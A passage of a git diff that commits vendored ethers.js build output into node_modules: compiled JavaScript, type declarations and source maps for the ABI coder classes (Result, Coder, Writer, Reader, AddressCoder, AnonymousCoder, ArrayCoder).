BigNumberish) => void; +} +/** + * @_ignore + */ +export declare class Reader { + #private; + readonly allowLoose: boolean; + constructor(data: BytesLike, allowLoose?: boolean, maxInflation?: number); + get data(): string; + get dataLength(): number; + get consumed(): number; + get bytes(): Uint8Array; + subReader(offset: number): Reader; + readBytes(length: number, loose?: boolean): Uint8Array; + readValue(): bigint; + readIndex(): number; +} +//# sourceMappingURL=abstract-coder.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts.map new file mode 100644 index 000000000000..8ecc4d8abd3f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.d.ts.map @@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EG;AACH,qBAAa,MAAM;;IAKf,QAAQ,CAAC,UAAU,EAAG,OAAO,CAAC;gBASlB,IAAI,EAAE,SAAS,EAAE,UAAU,CAAC,EAAE,OAAO,EAAE,YAAY,CAAC,EAAE,MAAM;IAWxE,IAAI,IAAI,IAAI,MAAM,CAAgC;IAClD,IAAI,UAAU,IAAI,MAAM,CAA8B;IACtD,IAAI,QAAQ,IAAI,MAAM,CAAyB;IAC/C,IAAI,KAAK,IAAI,UAAU,CAAuC;IAkC9D,SAAS,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM;IAOjC,SAAS,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,EAAE,OAAO,GAAG,UAAU;IAStD,SAAS,IAAI,MAAM;IAInB,SAAS,IAAI,MAAM;CAGtB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js new file mode 100644 index 000000000000..3a873bcff32a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js @@ -0,0 +1,472 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Reader = exports.Writer = exports.Coder = exports.checkResultErrors = exports.Result = exports.WordSize = void 0; +const index_js_1 = require("../../utils/index.js"); +/** + * @_ignore: + */ +exports.WordSize = 32; +const Padding = new Uint8Array(exports.WordSize); +// Properties used to immediate pass through to the underlying object +// - `then` is used to detect if an object is a Promise for await +const passProperties = ["then"]; +const _guard = {}; +const resultNames = new WeakMap(); +function getNames(result) { + return resultNames.get(result); +} +function setNames(result, names) { + resultNames.set(result, names); +} +function throwError(name, error) { + const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`); + wrapped.error = error; + throw wrapped; +} +function toObject(names, items, deep) { + if (names.indexOf(null) >= 0) { + return items.map((item, index) => { + if (item instanceof Result) { + return toObject(getNames(item), item, deep); + } + return item; + }); + } + return names.reduce((accum, name, index) => { + let item = items.getValue(name); + if (!(name in accum)) { + if (deep && item instanceof Result) { + item = toObject(getNames(item), item, deep); + } + accum[name] = item; + } + return accum; + }, {}); +} +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +class Result extends Array { + // No longer used; but cannot be removed as it will remove the + // #private field from the .d.ts which may break backwards + // compatibility + #names; + /** + * @private + */ + constructor(...args) { + // To properly sub-class Array so the other built-in + // functions work, the constructor has to behave fairly + // well. So, in the event we are created via fromItems() + // we build the read-only Result object we want, but on + // any other input, we use the default constructor + // constructor(guard: any, items: Array, keys?: Array); + const guard = args[0]; + let items = args[1]; + let names = (args[2] || []).slice(); + let wrap = true; + if (guard !== _guard) { + items = args; + names = []; + wrap = false; + } + // Can't just pass in ...items since an array of length 1 + // is a special case in the super. + super(items.length); + items.forEach((item, index) => { this[index] = item; }); + // Find all unique keys + const nameCounts = names.reduce((accum, name) => { + if (typeof (name) === "string") { + accum.set(name, (accum.get(name) || 0) + 1); + } + return accum; + }, (new Map())); + // Remove any key thats not unique + setNames(this, Object.freeze(items.map((item, index) => { + const name = names[index]; + if (name != null && nameCounts.get(name) === 1) { + return name; + } + return null; + }))); + // Dummy operations to prevent TypeScript from complaining + this.#names = []; + if (this.#names == null) { + void (this.#names); + } + if (!wrap) { + return; + } + // A wrapped Result is immutable + Object.freeze(this); + // Proxy indices and names so we can trap deferred errors + const proxy = new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "string") { + // Index accessor + if (prop.match(/^[0-9]+$/)) { + const index = (0, index_js_1.getNumber)(prop, "%index"); + if (index < 0 || index >= this.length) { + throw new RangeError("out of result range"); + } + const item = target[index]; + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + return item; + } + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + const value = target[prop]; + if (value instanceof Function) { + // Make sure functions work with private variables + // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding + return function (...args) { + return value.apply((this === receiver) ? target : this, args); + }; + } + else if (!(prop in target)) { + // Possible name accessor + return target.getValue.apply((this === receiver) ? target : this, [prop]); + } + } + return Reflect.get(target, prop, receiver); + } + }); + setNames(proxy, getNames(this)); + return proxy; + } + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep) { + const result = []; + this.forEach((item, index) => { + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + if (deep && item instanceof Result) { + item = item.toArray(deep); + } + result.push(item); + }); + return result; + } + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep) { + const names = getNames(this); + return names.reduce((accum, name, index) => { + (0, index_js_1.assert)(name != null, `value at index ${index} unnamed`, "UNSUPPORTED_OPERATION", { + operation: "toObject()" + }); + return toObject(names, this, deep); + }, {}); + } + /** + * @_ignore + */ + slice(start, end) { + if (start == null) { + start = 0; + } + if (start < 0) { + start += this.length; + if (start < 0) { + start = 0; + } + } + if (end == null) { + end = this.length; + } + if (end < 0) { + end += this.length; + if (end < 0) { + end = 0; + } + } + if (end > this.length) { + end = this.length; + } + const _names = getNames(this); + const result = [], names = []; + for (let i = start; i < end; i++) { + result.push(this[i]); + names.push(_names[i]); + } + return new Result(_guard, result, names); + } + /** + * @_ignore + */ + filter(callback, thisArg) { + const _names = getNames(this); + const result = [], names = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + if (callback.call(thisArg, item, i, this)) { + result.push(item); + names.push(_names[i]); + } + } + return new Result(_guard, result, names); + } + /** + * @_ignore + */ + map(callback, thisArg) { + const result = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + result.push(callback.call(thisArg, item, i, this)); + } + return result; + } + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name) { + const index = getNames(this).indexOf(name); + if (index === -1) { + return undefined; + } + const value = this[index]; + if (value instanceof Error) { + throwError(`property ${JSON.stringify(name)}`, value.error); + } + return value; + } + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items, keys) { + return new Result(_guard, items, keys); + } +} +exports.Result = Result; +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +function checkResultErrors(result) { + // Find the first error (if any) + const errors = []; + const checkErrors = function (path, object) { + if (!Array.isArray(object)) { + return; + } + for (let key in object) { + const childPath = path.slice(); + childPath.push(key); + try { + checkErrors(childPath, object[key]); + } + catch (error) { + errors.push({ path: childPath, error: error }); + } + } + }; + checkErrors([], result); + return errors; +} +exports.checkResultErrors = checkResultErrors; +function getValue(value) { + let bytes = (0, index_js_1.toBeArray)(value); + (0, index_js_1.assert)(bytes.length <= exports.WordSize, "value out-of-bounds", "BUFFER_OVERRUN", { buffer: bytes, length: exports.WordSize, offset: bytes.length }); + if (bytes.length !== exports.WordSize) { + bytes = (0, index_js_1.getBytesCopy)((0, index_js_1.concat)([Padding.slice(bytes.length % exports.WordSize), bytes])); + } + return bytes; +} +/** + * @_ignore + */ +class Coder { + // The coder name: + // - address, uint256, tuple, array, etc. + name; + // The fully expanded type, including composite types: + // - address, uint256, tuple(address,bytes), uint256[3][4][], etc. + type; + // The localName bound in the signature, in this example it is "baz": + // - tuple(address foo, uint bar) baz + localName; + // Whether this type is dynamic: + // - Dynamic: bytes, string, address[], tuple(boolean[]), etc. + // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8) + dynamic; + constructor(name, type, localName, dynamic) { + (0, index_js_1.defineProperties)(this, { name, type, localName, dynamic }, { + name: "string", type: "string", localName: "string", dynamic: "boolean" + }); + } + _throwError(message, value) { + (0, index_js_1.assertArgument)(false, message, this.localName, value); + } +} +exports.Coder = Coder; +/** + * @_ignore + */ +class Writer { + // An array of WordSize lengthed objects to concatenation + #data; + #dataLength; + constructor() { + this.#data = []; + this.#dataLength = 0; + } + get data() { + return (0, index_js_1.concat)(this.#data); + } + get length() { return this.#dataLength; } + #writeData(data) { + this.#data.push(data); + this.#dataLength += data.length; + return data.length; + } + appendWriter(writer) { + return this.#writeData((0, index_js_1.getBytesCopy)(writer.data)); + } + // Arrayish item; pad on the right to *nearest* WordSize + writeBytes(value) { + let bytes = (0, index_js_1.getBytesCopy)(value); + const paddingOffset = bytes.length % exports.WordSize; + if (paddingOffset) { + bytes = (0, index_js_1.getBytesCopy)((0, index_js_1.concat)([bytes, Padding.slice(paddingOffset)])); + } + return this.#writeData(bytes); + } + // Numeric item; pad on the left *to* WordSize + writeValue(value) { + return this.#writeData(getValue(value)); + } + // Inserts a numeric place-holder, returning a callback that can + // be used to asjust the value later + writeUpdatableValue() { + const offset = this.#data.length; + this.#data.push(Padding); + this.#dataLength += exports.WordSize; + return (value) => { + this.#data[offset] = getValue(value); + }; + } +} +exports.Writer = Writer; +/** + * @_ignore + */ +class Reader { + // Allows incomplete unpadded data to be read; otherwise an error + // is raised if attempting to overrun the buffer. This is required + // to deal with an old Solidity bug, in which event data for + // external (not public thoguh) was tightly packed. + allowLoose; + #data; + #offset; + #bytesRead; + #parent; + #maxInflation; + constructor(data, allowLoose, maxInflation) { + (0, index_js_1.defineProperties)(this, { allowLoose: !!allowLoose }); + this.#data = (0, index_js_1.getBytesCopy)(data); + this.#bytesRead = 0; + this.#parent = null; + this.#maxInflation = (maxInflation != null) ? maxInflation : 1024; + this.#offset = 0; + } + get data() { return (0, index_js_1.hexlify)(this.#data); } + get dataLength() { return this.#data.length; } + get consumed() { return this.#offset; } + get bytes() { return new Uint8Array(this.#data); } + #incrementBytesRead(count) { + if (this.#parent) { + return this.#parent.#incrementBytesRead(count); + } + this.#bytesRead += count; + // Check for excessive inflation (see: #4537) + (0, index_js_1.assert)(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { + buffer: (0, index_js_1.getBytesCopy)(this.#data), offset: this.#offset, + length: count, info: { + bytesRead: this.#bytesRead, + dataLength: this.dataLength + } + }); + } + #peekBytes(offset, length, loose) { + let alignedLength = Math.ceil(length / exports.WordSize) * exports.WordSize; + if (this.#offset + alignedLength > this.#data.length) { + if (this.allowLoose && loose && this.#offset + length <= this.#data.length) { + alignedLength = length; + } + else { + (0, index_js_1.assert)(false, "data out-of-bounds", "BUFFER_OVERRUN", { + buffer: (0, index_js_1.getBytesCopy)(this.#data), + length: this.#data.length, + offset: this.#offset + alignedLength + }); + } + } + return this.#data.slice(this.#offset, this.#offset + alignedLength); + } + // Create a sub-reader with the same underlying data, but offset + subReader(offset) { + const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation); + reader.#parent = this; + return reader; + } + // Read bytes + readBytes(length, loose) { + let bytes = this.#peekBytes(0, length, !!loose); + this.#incrementBytesRead(length); + this.#offset += bytes.length; + // @TODO: Make sure the length..end bytes are all 0? + return bytes.slice(0, length); + } + // Read a numeric values + readValue() { + return (0, index_js_1.toBigInt)(this.readBytes(exports.WordSize)); + } + readIndex() { + return (0, index_js_1.toNumber)(this.readBytes(exports.WordSize)); + } +} +exports.Reader = Reader; +//# sourceMappingURL=abstract-coder.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js.map b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js.map new file mode 100644 index 000000000000..1b8b20d11203 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/abstract-coder.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-coder.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/abstract-coder.ts"],"names":[],"mappings":";;;AACA,mDAK8B;AAI9B;;GAEG;AACU,QAAA,QAAQ,GAAW,EAAE,CAAC;AACnC,MAAM,OAAO,GAAG,IAAI,UAAU,CAAC,gBAAQ,CAAC,CAAC;AAEzC,qEAAqE;AACrE,iEAAiE;AACjE,MAAM,cAAc,GAAG,CAAE,MAAM,CAAE,CAAC;AAElC,MAAM,MAAM,GAAG,EAAG,CAAC;AAEnB,MAAM,WAAW,GAAkD,IAAI,OAAO,EAAE,CAAC;AAEjF,SAAS,QAAQ,CAAC,MAAc;IAC5B,OAAO,WAAW,CAAC,GAAG,CAAC,MAAM,CAAE,CAAC;AACpC,CAAC;AACD,SAAS,QAAQ,CAAC,MAAc,EAAE,KAAmC;IACjE,WAAW,CAAC,GAAG,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;AACnC,CAAC;AAED,SAAS,UAAU,CAAC,IAAY,EAAE,KAAY;IAC1C,MAAM,OAAO,GAAG,IAAI,KAAK,CAAC,0DAA2D,IAAK,EAAE,CAAC,CAAC;IACxF,OAAQ,CAAC,KAAK,GAAG,KAAK,CAAC;IAC7B,MAAM,OAAO,CAAC;AAClB,CAAC;AAED,SAAS,QAAQ,CAAC,KAAmC,EAAE,KAAa,EAAE,IAAc;IAChF,IAAI,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;QAC1B,OAAO,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,EAAE;YAC7B,IAAI,IAAI,YAAY,MAAM,EAAE;gBACxB,OAAO,QAAQ,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;aAC/C;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CAAC,CAAC;aACN;SACJ;QACD,OAAO,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,GAAG,aAAa,CAAC,CAAA;IACvE,CAAC;IAED,gEAAgE;IAChE,SAAS,CAAC,MAAc;QACpB,MAAM,MAAM,GAAG,IAAI,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,OAAO,GAAG,MAAM,CAAC,EAAE,IAAI,CAAC,UAAU,EAAE,IAAI,CAAC,aAAa,CAAC,CAAC;QACxG,MAAM,CAAC,OAAO,GAAG,IAAI,CAAC;QACtB,OAAO,MAAM,CAAC;IAClB,CAAC;IAED,aAAa;IACb,SAAS,CAAC,MAAc,EAAE,KAAe;QACrC,IAAI,KAAK,GAAG,IAAI,CAAC,UAAU,CAAC,CAAC,EAAE,MAAM,EAAE,CAAC,CAAC,KAAK,CAAC,CAAC;QAChD,IAAI,CAAC,mBAAmB,CAAC,MAAM,CAAC,CAAC;QACjC,IAAI,CAAC,OAAO,IAAI,KAAK,CAAC,MAAM,CAAC;QAC7B,oDAAoD;QACpD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC;IAClC,CAAC;IAED,wBAAwB;IACxB,SAAS;QACL,OAAO,IAAA,mBAAQ,EAAC,IAAI,CAAC,SAAS,CAAC,gBAAQ,CAAC,CAAC,CAAC;IAC9C,CAAC;IAED,SAAS;QACL,OAAO,IAAA,mBAAQ,EAAC,IAAI,CAAC,SAAS,CAAC,gBAAQ,CAAC,CAAC,CAAC;IAC9C,CAAC;CACJ;AArFD,wBAqFC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts new file mode 100644 index 000000000000..8befac03acdb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class AddressCoder extends Coder { + constructor(localName: string); + defaultValue(): string; + encode(writer: Writer, _value: string | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts.map new file mode 100644 index 000000000000..f86c8f18d774 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/address.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,YAAa,SAAQ,KAAK;gBAEvB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,KAAK,GAAG,MAAM;IAUtD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/address.js b/node_modules/ethers/lib.commonjs/abi/coders/address.js new file mode 100644 index 000000000000..65940831cb92 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/address.js @@ -0,0 +1,33 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AddressCoder = void 0; +const index_js_1 = require("../../address/index.js"); +const maths_js_1 = require("../../utils/maths.js"); +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +/** + * @_ignore + */ +class AddressCoder extends abstract_coder_js_1.Coder { + constructor(localName) { + super("address", "address", localName, false); + } + defaultValue() { + return "0x0000000000000000000000000000000000000000"; + } + encode(writer, _value) { + let value = typed_js_1.Typed.dereference(_value, "string"); + try { + value = (0, index_js_1.getAddress)(value); + } + catch (error) { + return this._throwError(error.message, _value); + } + return writer.writeValue(value); + } + decode(reader) { + return (0, index_js_1.getAddress)((0, maths_js_1.toBeHex)(reader.readValue(), 20)); + } +} +exports.AddressCoder = AddressCoder; +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/address.js.map b/node_modules/ethers/lib.commonjs/abi/coders/address.js.map new file mode 100644 index 000000000000..4ac28306e11c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/address.ts"],"names":[],"mappings":";;;AAAA,qDAAoD;AACpD,mDAA+C;AAE/C,0CAAoC;AACpC,2DAA4C;AAK5C;;GAEG;AACH,MAAa,YAAa,SAAQ,yBAAK;IAEnC,YAAY,SAAiB;QACzB,KAAK,CAAC,SAAS,EAAE,SAAS,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IAClD,CAAC;IAED,YAAY;QACR,OAAO,4CAA4C,CAAC;IACxD,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsB;QACzC,IAAI,KAAK,GAAG,gBAAK,CAAC,WAAW,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;QAChD,IAAI;YACA,KAAK,GAAG,IAAA,qBAAU,EAAC,KAAK,CAAC,CAAC;SAC7B;QAAC,OAAO,KAAU,EAAE;YACjB,OAAO,IAAI,CAAC,WAAW,CAAC,KAAK,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;SAClD;QACD,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAA,qBAAU,EAAC,IAAA,kBAAO,EAAC,MAAM,CAAC,SAAS,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;IACvD,CAAC;CACJ;AAvBD,oCAuBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts new file mode 100644 index 000000000000..554bf03f07ea --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts @@ -0,0 +1,15 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +export declare class AnonymousCoder extends Coder { + private coder; + constructor(coder: Coder); + defaultValue(): any; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=anonymous.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts.map new file mode 100644 index 000000000000..f150f0601082 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"anonymous.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/anonymous.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;;;GAIG;AACH,qBAAa,cAAe,SAAQ,KAAK;IACrC,OAAO,CAAC,KAAK,CAAQ;gBAET,KAAK,EAAE,KAAK;IAKxB,YAAY,IAAI,GAAG;IAInB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAI1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js new file mode 100644 index 000000000000..cbd655c67e29 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js @@ -0,0 +1,27 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AnonymousCoder = void 0; +const abstract_coder_js_1 = require("./abstract-coder.js"); +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +class AnonymousCoder extends abstract_coder_js_1.Coder { + coder; + constructor(coder) { + super(coder.name, coder.type, "_", coder.dynamic); + this.coder = coder; + } + defaultValue() { + return this.coder.defaultValue(); + } + encode(writer, value) { + return this.coder.encode(writer, value); + } + decode(reader) { + return this.coder.decode(reader); + } +} +exports.AnonymousCoder = AnonymousCoder; +//# sourceMappingURL=anonymous.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js.map b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js.map new file mode 100644 index 000000000000..9999d0b8b91f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/anonymous.js.map @@ -0,0 +1 @@ +{"version":3,"file":"anonymous.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/anonymous.ts"],"names":[],"mappings":";;;AAAA,2DAA4C;AAI5C;;;;GAIG;AACH,MAAa,cAAe,SAAQ,yBAAK;IAC7B,KAAK,CAAQ;IAErB,YAAY,KAAY;QACpB,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,KAAK,CAAC,IAAI,EAAE,GAAG,EAAE,KAAK,CAAC,OAAO,CAAC,CAAC;QAClD,IAAI,CAAC,KAAK,GAAG,KAAK,CAAC;IACvB,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC,KAAK,CAAC,YAAY,EAAE,CAAC;IACrC,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,OAAO,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;IACrC,CAAC;CACJ;AAnBD,wCAmBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts new file mode 100644 index 000000000000..954c4e17eb2c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts @@ -0,0 +1,25 @@ +import { Typed } from "../typed.js"; +import { Coder, Result, Writer } from "./abstract-coder.js"; +import type { Reader } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare function pack(writer: Writer, coders: ReadonlyArray, values: Array | { + [name: string]: any; +}): number; +/** + * @_ignore + */ +export declare function unpack(reader: Reader, coders: ReadonlyArray): Result; +/** + * @_ignore + */ +export declare class ArrayCoder extends Coder { + readonly coder: Coder; + readonly length: number; + constructor(coder: Coder, length: number, localName: string); + defaultValue(): Array; + encode(writer: Writer, _value: Array | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=array.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts.map new file mode 100644 index 000000000000..c3a6d622b118 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/array.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"array.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/array.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AAEpC,OAAO,EAAE,KAAK,EAAE,MAAM,EAAY,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAGtE,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAElD;;GAEG;AACH,wBAAgB,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,KAAK,CAAC,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG;IAAE,CAAE,IAAI,EAAE,MAAM,GAAI,GAAG,CAAA;CAAE,GAAG,MAAM,CA2DzH;AAED;;GAEG;AACH,wBAAgB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,KAAK,CAAC,GAAG,MAAM,CAoD3E;AAED;;GAEG;AACH,qBAAa,UAAW,SAAQ,KAAK;IACjC,QAAQ,CAAC,KAAK,EAAG,KAAK,CAAC;IACvB,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;gBAEb,KAAK,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAO3D,YAAY,IAAI,KAAK,CAAC,GAAG,CAAC;IAW1B,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,KAAK,GAAG,MAAM;IAsB1D,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAkB9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/array.js b/node_modules/ethers/lib.commonjs/abi/coders/array.js new file mode 100644 index 000000000000..8bee18a0f7a5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/array.js @@ -0,0 +1,165 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ArrayCoder = exports.unpack = exports.pack = void 0; +const index_js_1 = require("../../utils/index.js"); +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +const anonymous_js_1 = require("./anonymous.js"); +/** + * @_ignore + */ +function pack(writer, coders, values) { + let arrayValues = []; + if (Array.isArray(values)) { + arrayValues = values; + } + else if (values && typeof (values) === "object") { + let unique = {}; + arrayValues = coders.map((coder) => { + const name = coder.localName; + (0, index_js_1.assert)(name, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + (0, index_js_1.assert)(!unique[name], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + unique[name] = true; + return values[name]; + }); + } + else { + (0, index_js_1.assertArgument)(false, "invalid tuple value", "tuple", values); + } + (0, index_js_1.assertArgument)(coders.length === arrayValues.length, "types/value length mismatch", "tuple", values); + let staticWriter = new abstract_coder_js_1.Writer(); + let dynamicWriter = new abstract_coder_js_1.Writer(); + let updateFuncs = []; + coders.forEach((coder, index) => { + let value = arrayValues[index]; + 